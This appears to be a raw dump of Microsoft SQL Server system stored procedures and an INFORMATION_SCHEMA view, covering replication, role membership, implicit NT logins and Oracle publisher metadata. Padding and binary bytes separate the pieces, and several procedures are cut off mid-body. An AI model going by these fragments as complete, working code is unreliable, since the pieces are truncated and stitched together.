		-- The distribution agent must be run in single subscription stream mode prior to resetting the subscription xact_seqno.
		RAISERROR (21836, 16, -1)
		RETURN 1
	END

	SELECT @current_xact_seqno = transaction_timestamp
		FROM MSreplication_subscriptions 
		WHERE UPPER(publisher) = UPPER(@publisher) 
			AND publisher_db = @publisher_db 
			AND (publication = @publication
				OR (publication = N''
					AND independent_agent = 0
					AND UPPER(@publication) = N'ALL'))

	SELECT @sub_streams_count = @@ROWCOUNT
	
	IF @current_xact_seqno IS NULL
    BEGIN
		-- There is no subscription on Publisher '@publisher', publisher database '@publisher_db', publication '@publication'.
        RAISERROR(14135, 11, -1,  @publisher, @publisher_db, @publication)
        RETURN 1
    END
    
    UPDATE MSreplication_subscriptions 
		SET transaction_timestamp = CAST(@xact_seqno AS binary(15)) +  CAST(SUBSTRING(transaction_timestamp, 16, 1) AS binary(1))
        WHERE UPPER(publisher) = UPPER(@publisher) 
			AND publisher_db = @publisher_db 
			AND (publication = @publication
				OR (publication = N''
					AND independent_agent = 0
					AND UPPER(@publication) = N'ALL'))
    IF @@ERROR <> 0 
        RETURN 1

	
	SELECT @current_xact_seqno AS "ORIGINAL XACT_SEQNO", 
			@xact_seqno AS "UPDATED XACT_SEQNO",
			@sub_streams_count AS "SUBSCRIPTION STREAM COUNT"

	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ename       sysname,
	@membername     sysname
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,    -- return value of sp call
			@stmtR		nvarchar(4000)

    -- Was a part of check to prevent inside a user Xact. Leave for backward compat.--
	set implicit_transactions off

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

	exec @ret = sys.sp_validname @membername
	if @ret <> 0
		return(1)

	set @stmtR = 'alter role '
	set @stmtR = @stmtR + quotename(@rolename, ']')
	set @stmtR = @stmtR + ' drop member '
	set @stmtR = @stmtR + quotename(@membername, ']')

    -- issue DDL to create the role --
	exec (@stmtR)	
	if @@error <> 0
	begin
		return (1)
	end

    -- RETURN SUCCESS --
    return (0) -- sp_droprolemember
0| 8----------------------------------------
-- NOTE: FOR INTERNAL SECURITY USE ONLY!
--      DO NOT DOCUMENT OR USE!
----------------------------------------
create procedure sys.sp_MSadduser_implicit_ntlogin
    @ntname         sysname
AS
	declare @ret		int
	
    -- NO-OP IF LOGIN ALREADY EXISTS --
	if database_principal_id(@ntname) is null
	begin

        -- MUST BE NT NAME --
        if (charindex('\', @ntname) = 0)
            return (1)

	    declare	@newsid	varbinary(85),
				@isgrp	bit

        -- OBTAIN NT SID FOR THIS USER (SET STATUS BITS) --
	    select @newsid = get_sid('\U'+@ntname)	    -- NT user
	    if (@newsid is Null)
	    begin
	        select @isgrp = 1, @newsid = get_sid('\G'+@ntname)    -- NT group
	        IF (@newsid IS Null)
		        return (1)
	    end
        else
            select @isgrp = 0	-- NTUser

        -- FAIL IF SID ALREADY IN SYSUSERS --
        if exists (select sid from sysusers where sid = @newsid)
            return (1)

		BEGIN TRANSACTION

        -- ADD IMPLICIT SYSUSERS ENTRY & INVALIDATE UID CACHE FOR THIS DB --
		EXEC %%Owner().NewUserOrGroup(Name = @ntname, SID = @newsid,
			IsExternal = 1, IsGroup = @isgrp)

		-- RETURN FAILURE/SUCCESS --
		select @ret = @@error
		if @ret <> 0
		begin
			COMMIT TRANSACTION
			return @ret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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<[r0 G8
--
-- Name:    
--          sp_get_Oracle_publisher_metadata
--          
-- Description: 
--          Specialized stored procedure for repldiag tool to gather
--          Oracle publishing meta data from all Oracle publishers
--          hosted at this distribution database
--
-- Arguments:
--          @database_name -- Name of database where meta data for publishers is to be deposited.
--  
-- Security: 
--          'sysadmin'
-- Requires Certificate signature for catalog access
--
-- Owner:   
--          sward 

create procedure sys.sp_get_Oracle_publisher_metadata
(
	@database_name	sysname
)
AS
BEGIN
    set nocount on
    
    DECLARE @cmd			nvarchar(4000)
    DECLARE @retcode		int
    DECLARE @distbit		int
    DECLARE @publisher_type	sysname
    DECLARE @publisher		sysname
    DECLARE @quoteddb		sysname
    DECLARE @database		sysname
    DECLARE @nologgingtable int
    
    CREATE TABLE #MetadataCaptureLog
    (
		ID int IDENTITY,
		MsgType nvarchar(100),
		MsgTypeID int,        
		Time DateTime,
		Message nvarchar(max)
	)
    
    -- Error if not sysadmin
    IF NOT (is_srvrolemember('sysadmin') = 1)
    BEGIN
        RAISERROR('The stored procedure sp_get_Oracle_publisher_metadata may only be run by members of the fixed server role ''sysadmin''.',10,-1)
        RETURN(1)
    END

    SELECT @nologgingtable = 0
    SELECT @distbit = 16
    SELECT @database = sys.fn_replquotename(@database_name, '''') collate database_default
    SELECT @quoteddb = sys.fn_replquotename(@database_name, default) collate database_default
    
    -- Verify that database to be used as repository exists 
    IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases WHERE name = @database_name)
    BEGIN
        RAISERROR('The database %s to be used as a repository for Oracle publishing meta data does not exist.',10,-1, @database)
        RETURN(1)
    END
    
    -- Verify that the database to be used as a repository is not a distribution database.
    -- This is required to prevent the possibility of overwriting meta data on the running
    -- system.
    IF EXISTS (SELECT * FROM master.dbo.sysdatabases WHERE name = @database_name AND (category & @distbit) = @distbit )
    BEGIN
        RAISERROR('The database %s to be used as a repository for Oracle publishing meta data is a distribution database. This is not allowed. Choose another database as the repository.',10,-1, @database)
        RETURN(1)
    END
    
    SELECT @cmd = N'SELECT * FROM ' + @quoteddb + N'.dbo.MetadataCapture_Log WHERE 0 = 1'
    
    BEGIN TRY
		EXEC @retcode = sys.sp_executesql @cmd
    END TRY
    BEGIN CATCH
    	-- If table doesn't exist, set nologgingtable flag
    	SELECT @nologgingtable = 1
    END CATCH
    
    IF (@nologgingtable = 1)
    BEGIN
    	SELECT @cmd = N'SELECT * INTO ' + @quoteddb + N'.dbo.MetadataCapture_Log FROM #MetadataCaptureLog'
    	
   	    EXEC @retcode = sys.sp_executesql @cmd
   	    
   	    IF @retcode != 0 OR @@error != 0
   	    BEGIN
		    RETURN(1)
		END    
    	    	
    	EXEC sys.sp_log_repository_message N'Success', @cmd, @database_name
    END
    
    DROP TABLE #MetadataCaptureLog

    DECLARE hC  CURSOR LOCAL FAST_FORWARD FOR 
        SELECT srvname from master.dbo.sysservers sys, msdb.dbo.MSdistpublishers pub
        WHERE (sys.srvproduct = 'Oracle Gateway Replication' OR srvproduct = 'Oracle Replication')
          AND pub.publisher_type LIKE 'ORACLE%'
          AND UPPER(sys.srvname collate database_default) = UPPER(pub.name collate database_default)
    
    OPEN hC
    FETCH hC INTO @publisher
    WHILE (@@fetch_status <> -1)
    BEGIN
    
        SET @retcode = 0

        EXEC @retcode = sys.sp_MSrepl_getpublisherinfo
            @publisher = @publisher,
            @publisher_type = @publisher_type OUTPUT,
            @rpcheader = @cmd OUTPUT,
            @skipSecurityCheck	= 1

        IF @retcode = 0
        BEGIN

            SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
            SET @cmd = @cmd + N'sys.sp_MSrepl_get_Oracle_publisher_metadata'
            EXEC @retcode = @cmd
                @publisher,
                @database_name
        END
        
        FETCH hC INTO @publisher
    END
    CLOSE hC
    DEALLOCATE hC
    
    RETURN 
END
0߯ 8create procedure sys.sp_MSIfExistsSubscription
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @type int /* replication type, 1 - transactional/snapshot, 2 - merge */
)
as
begin
    declare @publisher_id smallint
    declare @publication_id int

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    if @type not in (1,2)
    begin
        RAISERROR(21055, 16, -1, '@type','sp_MSIfExistsSubscription')
        RETURN (1)
    end

    set nocount on

    select @publisher_id = srvid from master.dbo.sysservers where
       UPPER(srvname) = UPPER(@publisher)

	if @type = 1
	begin
		select @publication_id = publication_id from dbo.MSpublications  where 
				publisher_id = @publisher_id and
				publisher_db = @publisher_db and
				publication = @publication and
				(publication_type = 0 or publication_type = 1)
    
		select TOP 1 1 from MSdistribution_agents a
			where exists (select * from dbo.MSsubscriptions s where
				(a.id = s.agent_id or a.anonymous_agent_id = s.agent_id) and
				s.publisher_id = @publisher_id and
				s.publisher_db = @publisher_db and
				-- For 6.x publisher, we don't know the association between the publication
				-- and subscriptions. Show every dist agent under each publication.
				(s.publication_id = @publication_id or s.publication_id = 0 ) and
				(a.subscriber_id >= 0  or a.subscriber_id is NULL))
	end
	else
	begin
		select @publication_id = publication_id from dbo.MSpublications  where 
				publisher_id = @publisher_id and
				publisher_db = @publisher_db and
				publication = @publication and
				publication_type = 2 -- Merge 
    
		select TOP 1 1 from dbo.MSmerge_agents 
			where publisher_id = @publisher_id and 
				publisher_db = @publisher_db and 
				publication = @publication
	end
end
0۩@ 8create procedure sys.sp_MSenumarticleslightweight
	@pubid	uniqueidentifier
as
    declare @retcode int
    
	exec @retcode= sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0 return (1)

	select 
		a.name, a.destination_object, a.artid, a.pubid, a.nickname, 
		a.column_tracking, a.destination_owner, a.identity_support, a.well_partitioned_lightweight,
		a.processing_order, a.upload_options, i.range, i.threshold, a.delete_tracking, a.compensate_for_errors,
		a.stream_blob_columns
		from dbo.sysmergearticles a left outer join dbo.MSmerge_idrange i on a.objid = i.objid
		where a.pubid=@pubid and
			  a.lightweight=1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<O	F)M0 O	8CREATE PROCEDURE sys.sp_MSrepl_get_Oracle_publisher_table
(
	@query				nvarchar(2000),
	@SelectColumnList 	nvarchar(2000),
	@temptablename		sysname,
	@InsColumnList		nvarchar(2000),
	@LocalTableName		nvarchar(2000),
	@publisher 			sysname,
	@database			sysname
)
AS
BEGIN
    SET NOCOUNT ON

	DECLARE @retcode		int
    DECLARE @cmd			nvarchar(2000)
    DECLARE @select			nvarchar(2000)
    DECLARE @queryqu		nvarchar(2000)
    DECLARE @sev			int
    DECLARE @state			int
    DECLARE @msg			nvarchar(max)
 
    -- Define sp_ORAremotequery support table
    create table #hquery
    (
		seq	int identity(2,1),
		cmd	nvarchar(4000)
    )
    
    SELECT @queryqu = sys.fn_replreplacesinglequote(@query)

    -- Populate #hquery table
	EXEC @retcode = sys.sp_executesql @query
	IF @retcode != 0 OR @@error != 0
	BEGIN				
		SELECT @cmd = N'Unable to populate #hquery table: Query = ' + @queryqu  
		EXEC sys.sp_log_repository_message N'Failure', @cmd, @database
		RETURN(0)
    END 

    EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= @temptablename,
					@InsColumnList		= @InsColumnList
  
    IF @@error <> 0 OR @retcode <> 0
    BEGIN 
		SELECT @cmd = N'Query of publisher ' + @publisher + N' to populate table ' + @temptablename + N' failed: Query = ' + @queryqu  
		EXEC sys.sp_log_repository_message N'Failure', @cmd, @database
		RETURN(0)
    END  
    
    EXEC sys.sp_log_repository_message N'Success', @queryqu, @database 
				
    SELECT @cmd = N'DROP TABLE ' + @LocalTableName
    
    -- Ignore drop error
    BEGIN TRY
		EXEC @retcode = sys.sp_executesql @cmd
    END TRY
    BEGIN CATCH
		SELECT @retcode = 0
    END CATCH

    SELECT @select = N'SELECT * INTO ' + @LocalTableName + N' FROM ' + quotename(@temptablename)
    
	EXEC @retcode = sys.sp_executesql @select
	IF @retcode != 0 OR @@error != 0
	BEGIN				
		SELECT @cmd = N'SELECT from table ' + @temptablename + N' to populate table ' + @LocalTableName +
		              N' failed: Query = ' + @select 
		EXEC sys.sp_log_repository_message N'Failure', @cmd, @database
		RETURN(0)
    END 
    
    EXEC sys.sp_log_repository_message N'Success', @select, @database
    
    drop table #hquery

    RETURN(0)
    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`(<*F0@ t8CREATE VIEW INFORMATION_SCHEMA.ROUTINES
AS
SELECT
	DB_NAME()					AS SPECIFIC_CATALOG,
	SCHEMA_NAME(o.schema_id)	AS SPECIFIC_SCHEMA,
	o.name						AS SPECIFIC_NAME,
	DB_NAME()					AS ROUTINE_CATALOG,
	SCHEMA_NAME(o.schema_id)	AS ROUTINE_SCHEMA,
	o.name						AS ROUTINE_NAME,
	convert(nvarchar(20), CASE
		WHEN o.type IN ('P','PC')
		THEN 'PROCEDURE'
		ELSE 'FUNCTION' END)		AS ROUTINE_TYPE,
	convert(sysname, null)			AS MODULE_CATALOG,
	convert(sysname, null) collate catalog_default		AS MODULE_SCHEMA,
	convert(sysname, null) collate catalog_default		AS MODULE_NAME,
	convert(sysname, null)			AS UDT_CATALOG,
	convert(sysname, null) collate catalog_default		AS UDT_SCHEMA,
	convert(sysname, null) collate catalog_default		AS UDT_NAME,
	convert(sysname, CASE
		WHEN o.type IN ('TF', 'IF', 'FT') THEN N'TABLE'
		ELSE ISNULL(TYPE_NAME(c.system_type_id),
			TYPE_NAME(c.user_type_id)) END)		AS DATA_TYPE,
	COLUMNPROPERTY(c.object_id, c.name, 'charmaxlen')	AS CHARACTER_MAXIMUM_LENGTH,
	COLUMNPROPERTY(c.object_id, c.name, 'octetmaxlen')	AS CHARACTER_OCTET_LENGTH,
	convert(sysname, null)			AS COLLATION_CATALOG,
	convert(sysname, null) collate catalog_default		AS COLLATION_SCHEMA,
	convert(sysname, CASE
		WHEN c.system_type_id IN (35, 99, 167, 175, 231, 239)	-- [n]char/[n]varchar/[n]text
		THEN DATABASEPROPERTYEX(DB_NAME(), 'collation') END)	AS COLLATION_NAME,
	convert(sysname, null)			AS CHARACTER_SET_CATALOG,
	convert(sysname, null) collate catalog_default		AS CHARACTER_SET_SCHEMA,
	convert(sysname, CASE
		WHEN c.system_type_id IN (35, 167, 175)
		THEN SERVERPROPERTY('sqlcharsetname') -- char/varchar/text
		WHEN c.system_type_id IN (99, 231, 239)
		THEN N'UNICODE'	-- nchar/nvarchar/ntext
		END)				AS CHARACTER_SET_NAME,
	convert(tinyint, CASE -- int/decimal/numeric/real/float/money
		WHEN c.system_type_id IN (48, 52, 56, 59, 60, 62, 106, 108, 122, 127) THEN c.precision
		END)										AS NUMERIC_PRECISION,
	convert(smallint, CASE	-- int/money/decimal/numeric
		WHEN c.system_type_id IN (48, 52, 56, 60, 106, 108, 122, 127) THEN 10
		WHEN c.system_type_id IN (59, 62) THEN 2 END)	AS NUMERIC_PRECISION_RADIX, -- real/float
	convert(int, CASE	-- datetime/smalldatetime
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN NULL
		ELSE ODBCSCALE(c.system_type_id, c.scale) END)	AS NUMERIC_SCALE,
	convert(smallint, CASE -- datetime/smalldatetime
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN ODBCSCALE(c.system_type_id, c.scale) END)	AS DATETIME_PRECISION,
	convert(nvarchar(30), null)			AS INTERVAL_TYPE,
	convert(smallint, null)				AS INTERVAL_PRECISION,
	convert(sysname, null)				AS TYPE_UDT_CATALOG,
	convert(sysname, null) collate catalog_default	AS TYPE_UDT_SCHEMA,
	convert(sysname, null) collate catalog_default	AS TYPE_UDT_NAME,
	convert(sysname, null)				AS SCOPE_CATALOG,
	convert(sysname, null) collate catalog_default		AS SCOPE_SCHEMA,
	convert(sysname, null) collate catalog_default		AS SCOPE_NAME,
	convert(bigint, null)				AS MAXIMUM_CARDINALITY,
	convert(sysname, null)				AS DTD_IDENTIFIER,
	convert(nvarchar(30), CASE
		WHEN o.type IN ('P ', 'FN', 'TF', 'IF') THEN 'SQL'
		ELSE 'EXTERNAL' END)			AS ROUTINE_BODY,
	convert(nvarchar(4000),
		OBJECT_DEFINITION(o.object_id))	AS ROUTINE_DEFINITION,
	convert(sysname, null)				AS EXTERNAL_NAME,
	convert(nvarchar(30), null)			AS EXTERNAL_LANGUAGE,
	convert(nvarchar(30), null)			AS PARAMETER_STYLE,
	convert(nvarchar(10), CASE
		WHEN ObjectProperty(o.object_id, 'IsDeterministic') = 1
		THEN 'YES' ELSE 'NO' END)		AS IS_DETERMINISTIC,
	convert(nvarchar(30), CASE
		WHEN o.type IN ('P', 'PC') THEN 'MODIFIES'
		ELSE 'READS' END)				AS SQL_DATA_ACCESS,
	convert(nvarchar(10), CASE
		WHEN o.type in ('P', 'PC') THEN null
		WHEN o.null_on_null_input = 1 THEN 'YES'
		ELSE 'NO' END)				AS IS_NULL_CALL,
	convert(sysname, null)				AS SQL_PATH,
	convert(nvarchar(10), 'YES')	AS SCHEMA_LEVEL_ROUTINE,
	convert(smallint, CASE
		WHEN o.type IN ('P ', 'PC')
		THEN -1 ELSE 0 END)			AS MAX_DYNAMIC_RESULT_SETS,
	convert(nvarchar(10), 'NO')			AS IS_USER_DEFINED_CAST,
	convert(nvarchar(10), 'NO')			AS IS_IMPLICITLY_INVOCABLE,
	o.create_date						AS CREATED,
	o.modify_date						AS LAST_ALTERED
FROM
	sys.objects$ o LEFT JOIN sys.parameters c 
	ON (c.object_id = o.object_id AND c.parameter_id = 0)
WHERE
	o.type IN ('P', 'FN', 'TF', 'IF', 'AF', 'FT', 'IS', 'PC', 'FS')
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`&'<kgXa0?u@ 8create procedure sys.sp_stoppublication_snapshot
(
    @publication    sysname,
    @publisher      sysname = null
)
as
begin
    set nocount on
    declare @cmd        nvarchar(4000)
    declare @retcode    int 
    declare @pubtype    sysname
    declare @stop      tinyint    
    set @retcode = 0
    set @stop = 1
    exec @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher      = @publisher,
                                                    @publisher_type = @pubtype OUTPUT,
                                                    @rpcheader      = @cmd OUTPUT
    if @retcode <> 0
        return (@retcode)

    -- Add sp
    set @cmd = @cmd + N'sys.sp_MSrepl_publicationsnapshotjobcontrol'

    exec @retcode = @cmd
                    @publication = @publication,
                    @publisher = @publisher,
                    @action = @stop
    return (@retcode)

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Dv}/me alone
    -- when used as a table name suffix will guarantee that the table names are unique. If, however, 
    -- the publisher name exceeds 95 characters, we insure that the resulting suffix is unique by 
    -- appending to it characters drawn from a generated uniqueidentifier.
    IF LEN(@publisher) > 95
		SELECT @publisher_suffix = substring(@publisher,1,95) + substring(CONVERT(nvarchar(36), NEWID()),1,5)
	ELSE
		SELECT @publisher_suffix = @publisher
		
    -- Populate HREPL_EVENT
    SELECT @InsColumnList    = 'EVENT_POLLID,EVENT_PUBLICATION_ID,EVENT_ARTICLE_ID,EVENT_TABLE_ID,EVENT_OPERATION,EVENT_SEQ,EVENT_ROWCNT,EVENT_CMDTYPE,EVENT_ENTRYTIME,EVENT_DIRECTORY,EVENT_SCRIPTSCH,EVENT_SCRIPTIDX,EVENT_COMMAND,EVENT_PRESCRIPT,EVENT_POSTSCRIPT,EVENT_CREATIONSCRIPTPATH,EVENT_FTPADDRESS,EVENT_FTPPORT,EVENT_FTPSUBDIRECTORY,EVENT_FTPLOGIN,EVENT_ALTERNATESNAPSHOTFOLDER,EVENT_COMPRESSSNAPSHOT'
    SELECT @SelectColumnList = '*'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT EVENT_POLLID,EVENT_PUBLICATION_ID,EVENT_ARTICLE_ID,EVENT_TABLE_ID,EVENT_OPERATION,EVENT_SEQ,EVENT_ROWCNT,EVENT_CMDTYPE,EVENT_ENTRYTIME,EVENT_DIRECTORY,EVENT_SCRIPTSCH,EVENT_SCRIPTIDX,EVENT_COMMAND,EVENT_PRESCRIPT,EVENT_POSTSCRIPT,EVENT_CREATIONSCRIPTPATH,EVENT_FTPADDRESS,EVENT_FTPPORT,EVENT_FTPSUBDIRECTORY,EVENT_FTPLOGIN,EVENT_ALTERNATESNAPSHOTFOLDER,EVENT_COMPRESSSNAPSHOT FROM HREPL_EVENT'')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_EVENT_' + @publisher_suffix)

    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_EVENT',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 

    -- Populate HREPL_POLL
    SELECT @InsColumnList    = 'POLL_ROWID,POLL_POLLID,POLL_UPDATEFLAG,POLL_ROWCNT,POLL_TABLEID'
    SELECT @SelectColumnList = '*'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT POLL_ROWID,POLL_POLLID,POLL_UPDATEFLAG,POLL_ROWCNT,POLL_TABLEID FROM HREPL_POLL'')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_POLL_' + @publisher_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_POLL',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
    -- Populate #HREPL_PUBLISHEDTABLES
    SELECT @InsColumnList    = 'PUBLISHED_OWNER,PUBLISHED_TABLE,PUBLISHED_TABLEID,PUBLISHED_ARTICLEID,PUBLISHED_LOGINSTANCE,PUBLISHED_ARTICLEINSTANCE,PUBLISHED_LOGDROPPENDING,PUBLISHED_ARTICLEDROPPENDING'  
    SELECT @SelectColumnList = '*'
